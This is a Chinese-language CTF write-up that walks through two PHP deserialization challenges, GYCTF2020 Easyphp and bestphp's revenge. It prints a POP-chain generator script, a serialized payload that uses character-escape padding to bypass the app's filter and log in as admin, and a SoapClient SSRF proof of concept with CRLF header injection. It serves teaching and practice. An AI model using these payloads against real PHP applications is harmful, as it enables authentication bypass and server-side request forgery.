反序列化
[GYCTF2020]Easyphp
知识点
- PHP反序列化字符逃逸:
PHP在进行反序列化的时候,只要前面的字符串符合反序列化的规则并能成功反序列化,那么将忽略后面多余的字符串
WP

源码泄露www.zip,解压发现php文件lib.php和update.php可以利用 update.php是输出flag
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
看lib.php,发现主要是反序列化的有关操作,开始审计
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
}
}
dbCtrl类主要获取了username,password和token,在login函数中,admin用户存在且token=admin,或者当$this->password的md5值与数据库查询的密码相同即可登录成功。
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
User类中可以使$_SESSION['login']=1 并且返回id,同时查询语句是select id,password from user where username=? ,如果 查询成功则挑战到update.php执行输出flag,那么接下来就是如何构造POP链来执行sql语句。 继续看lib.php中的可利用函数,在UpdateHelper中__destruct函数可以输出sql,如果将$sql 实例化为User类的对象,在该类被结束销毁时调用User::__toString 方法。
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
接着在toString方法中用nickname 变量调用update方法,以age作为参数,
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
update方法中有$this->getNewinfo() =>Info() 的调用逻辑 将$nickname 实例化为Info类的对象,从而可以调用Info::__call 方法,并且以$age 中的值作为参数,看Info::_call 方法
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
可以看到其用$CtrCase变量 调用了login()方法,且参数就是上一步通过User.age的值传进来的。这样我们只需要将这个类里的$CtrlCase 变量实例化为dbCtrl类的对象,这句话就相当于调用了dbCtrl::login($sql) ,最后对dbCtrl类里的一些变量赋值成我们构造的即可 ,并且dbCtrl::login($sql) 中的$sql 参数,实际上是User类中$age 变量传入的。 反序列化脚本:
<?php
class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname = new Info();
}
}
class Info
{
public $CtrlCase;
public function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}
class UpdateHelper
{
public $sql;
public function __construct()
{
$this->sql = new User();
}
}
class dbCtrl
{
public $name = "admin";
public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
运行得到
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
接下来看反序列化的利用点 update.php可以跟进到User类的update()函数,可以看到反序列化的是getNewinfo()的返回值
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
}
继续跟进getNewinfo,返回的是经safe处理的序列化的Info类对象。
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info类的对象,然后对这个对象进行序列化,再对这个序列化结果进行safe() 处理,最后得到的值再进行反序列化。 safe函数,将长度小于6的字符串直接替换成了长度为6的hacker。那么就涉及到了反序列化字符串逃逸的知识。
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
接下来看这篇WP讲反序列化字符串逃逸比较详细,之后再做补充。 利用引号闭合后构造合理的序列化字符串 payload
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
在update.php当中POST传入payload,然后再login.php任意密码登录admin账户即可得到flag
bestphp’s revenge
知识点
- PHP原生类SoapClient的SSRF
- Session反序列化
- 变量覆盖
- CRLF
WP
题目给出了index.php和flag.php的源码 index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
flag.php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
先看index.php的可利用点,session_start和call_user_func可以想到session的反序列化,session_start可以接受数组来触发。 
接着可以利用f传入extract覆盖b为我们想要的函数。 解题: 先说SoapClient,参考文章:参考从几道CTF题看SOAP安全问题
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果能利用反序列化调用Soapclient向来访问flag.php,就能实现SSRF,那么就接下来需要思考如何触发反序列化和控制反序列化的内容。 利用点就是
call_user_func($_GET['f'], $_POST);
如果call_user_func传入的是array类型,那么就会将数组成员当作类名和方法。 那么利用过程就是:
- 先用extract()将
$b 覆盖为call_user_func方法 - 传入name=SoapClient,经
reset($session) 后call_user_func($b,$a) 就变成了call_user_func(array(‘SoapClient’,‘welcome_to_the_lctf2018’)), 即call_user_func(SoapClient->welcome_to_the_lctf2018) ,因为SoapClient中没有welcome_to_the_lctf2018这个方法就会触发_call方法执行SoapClient的反序列化。 POC:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "Ev1near\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
这个POC又涉及到CRLF,如果http请求遇到\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,那么如果头部可控,就可以注入crlf实现修改http请求包,利用crlf伪造请求去访问flag.php并将结果保存在cookie为PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4的session中。 运行得到
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A55%3A%22Ev1near%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
最后是让session反序列化的内容可控,这里涉及到php反序列化的机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)
PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:  配置选项 session.serialize_handler,通过该选项可以设置序列化及反序列化时使用的处理器。 而如果序列化和PHP在反序列化存储的_SEESION数据时使用的处理器和序列化时使用的处理器不同 ,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。 当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:“test”:0:{},那么session中的内容是a:1:{s:1:“a”;s:16:"|O:4:“test”:0:{}";},那么 a:1:{s:1:“a”;s:16:" 会被php解析成键名,后面就是一个test对象的注入。
因此可以构造session_start([‘serialize_handler’=>‘php_serialize’])达到注入的效果。
先更改session序列化时候的引擎,但是将payload写入session中:
 之后再调用这个PHP原生类的不存在的方法,触发SSRF:  再将PHPSESSID改成payload中构造的那个,flag.php的逻辑是把flag写进session中,所以要让SoapClient携带指定的cookie访问flag.php就能把flag写进cookie对应的session中。然后我们拿着这个cookie访问的话,index.php就会把session的内容打印出来,再访问页面即可得到flag: 
反思
还要对各个方法调用之间的逻辑加深理解和掌握,常温习总结。 参考文章
|